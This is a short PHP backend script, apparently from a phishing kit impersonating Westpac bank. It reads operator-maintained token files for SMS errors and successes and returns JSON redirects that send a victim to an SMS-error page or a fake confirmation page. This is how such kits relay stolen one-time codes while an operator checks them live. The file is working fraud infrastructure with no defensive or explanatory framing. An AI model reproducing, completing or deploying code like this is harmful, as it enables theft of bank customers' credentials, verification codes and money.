<?php
include "../panel/send/panel.php";
session_start();

$response = ['redirect' => false, 'url' => ''];

if (!isset($_SESSION['auth_token'])) {
    echo json_encode($response);
    exit();
}

function checkRedirection($file, $redirectPage, $randString) {
    global $response;
    
    if (!isset($_SESSION['auth_token'])) {
        return;
    }
    
    $currentToken = $_SESSION['auth_token'];
    
    if (file_exists($file)) {
        $lines = file($file, FILE_IGNORE_NEW_LINES);

        foreach ($lines as $line) {
            $token = trim($line);
            if ($currentToken === $token) {
                $lines = array_diff($lines, [$line]);
                file_put_contents($file, implode("\n", $lines));
                
                $securityHash = hash('sha256', $currentToken . $_SERVER['HTTP_USER_AGENT']);
                $response['redirect'] = true;
                $response['url'] = "$redirectPage?westpac_id={$randString}&token={$currentToken}&check={$securityHash}";
                break;
            }
        }
    }
}

checkRedirection('../panel/fonctions/smsfonctions/error.txt', '../errors/smserror.php', $randString);
checkRedirection('../panel/fonctions/smsfonctions/success.txt', '../confirmation.php', $randString);

header('Content-Type: application/json');
echo json_encode($response);
?>